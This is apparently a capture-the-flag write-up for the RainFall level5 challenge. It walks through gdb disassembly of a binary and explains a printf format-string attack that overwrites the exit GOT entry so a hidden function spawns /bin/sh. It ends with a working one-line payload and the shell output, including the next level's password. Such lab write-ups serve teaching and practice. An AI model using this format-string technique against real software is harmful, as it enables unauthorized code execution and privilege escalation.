[CTF] Global Offset Table + printf exploit (rainfall-lvl05)
Table of contents:
This executable is the 6th one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level5@RainFall:~$ gdb ./level5
notes
0x08049854 m : global variable m (useless here)
0x080484a4 o : fn : called in n
0x080484c2 n : fn : called in main
0x08048504 main : rak 3arf
0x080484c2 : n() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
char *buffer_1[512] = ebp-520
// 0x218 ... 536
// 0x208 ... 520
// 0x200 ... 512
}
<0> -> <+3> : prepare stack frame for n function with size 536
0x080484c2 <+0>: push ebp
0x080484c3 <+1>: mov ebp,esp
0x080484c5 <+3>: sub esp,536
<+9> -> <+35> : prepare arguments for fgets(str, size, stdin)
0x080484cb <+9>: mov eax,ds:0x8049848 // stdin
0x080484d0 <+14>: mov DWORD PTR [esp+8],eax
0x080484d4 <+18>: mov DWORD PTR [esp+4],512
0x080484dc <+26>: lea eax,[buffer_1]
0x080484e2 <+32>: mov DWORD PTR [esp],eax
0x080484e5 <+35>: call 0x80483a0 <fgets@plt>
fgets(str, 512, stdin)
<+40> -> <+49> : print the input from user taken by fgets
0x080484ea <+40>: lea eax,[buffer_1]
0x080484f0 <+46>: mov DWORD PTR [esp],eax
0x080484f3 <+49>: call 0x8048380 <printf@plt>
printf(buffer_1)
<+54> -> <+61> : exit function with 1
0x080484f8 <+54>: mov DWORD PTR [esp],1
0x080484ff <+61>: call 0x80483d0 <exit@plt>
exit(1)
0x080484a4 : o() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
// 0x18 ...24
}
<+0> -> <+3> : init stack with size 24
0x080484a4 <+0>: push ebp
0x080484a5 <+1>: mov ebp,esp
0x080484a7 <+3>: sub esp,24
<+6> -> <+13> : fork the shell with stystem call
0x080484aa <+6>: mov DWORD PTR [esp],0x80485f0 // "/bin/sh"
0x080484b1 <+13>: call 0x80483b0 <system@plt>
system("/bin/sh");
<+18> -> <+25> : exit function
0x080484b6 <+18>: mov DWORD PTR [esp],1
0x080484bd <+25>: call 0x8048390 <_exit@plt>
exit(1);
Code Prediction
void o() {
system("/bin/sh");
exit(1);
}
void n() {
char *buffer_1[512];
fgets(str, 512, stdin);
printf(buffer_1);
exit(1);
}
int main(int argc(ebp+0x8), char **argv(ebp+12)) {
n()
return;
}
Stack Illustration :
Process of the Exploit
- since the function
o
that calls the shell is not called inn
function nor the main - the idea here is : find a a vulnerability to call
o
fromn
- instead of exit the
n
we have to redirect it to execute theo
how we will do that ? :
-
we have to overwrite the address where
<_exit@plt>
jumps (global offset table GOT, search about it), to the address ofo
(0x080484a4) ok lets start the process: -
looking at the assembly of exit function inside the n function
(gdb) disass 0x80483d0 Dump of assembler code for function exit@plt: 0x080483d0 <+0>: jmp DWORD PTR ds:0x8049838 <==== address to overwrite 0x080483d6 <+6>: push 0x28 0x080483db <+11>: jmp 0x8048370 End of assembler dump. (gdb)
-
the exit function jumps into
0x8049838
-we have to change the value the value of this address by the address ofo
->0x080484a4
since we have only printf as a door to the exploit we will have to use the%n
methode to write address into address
what ? yes , simply we convert the address we want to change with to decimal in our case:
exit -> 0x8049838
o -> 0x080484a4(hex) -> 134513828(decimal)
Solution :
level5@RainFall:~$ (python -c 'print "\x08\x04\x98\x38"[::-1] + "%134513824d" + "%4$n"'; cat -) | ./level5
[...]
whoami
level6
pwd
/home/user/level5
cat /home/user/level6/.pass
d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31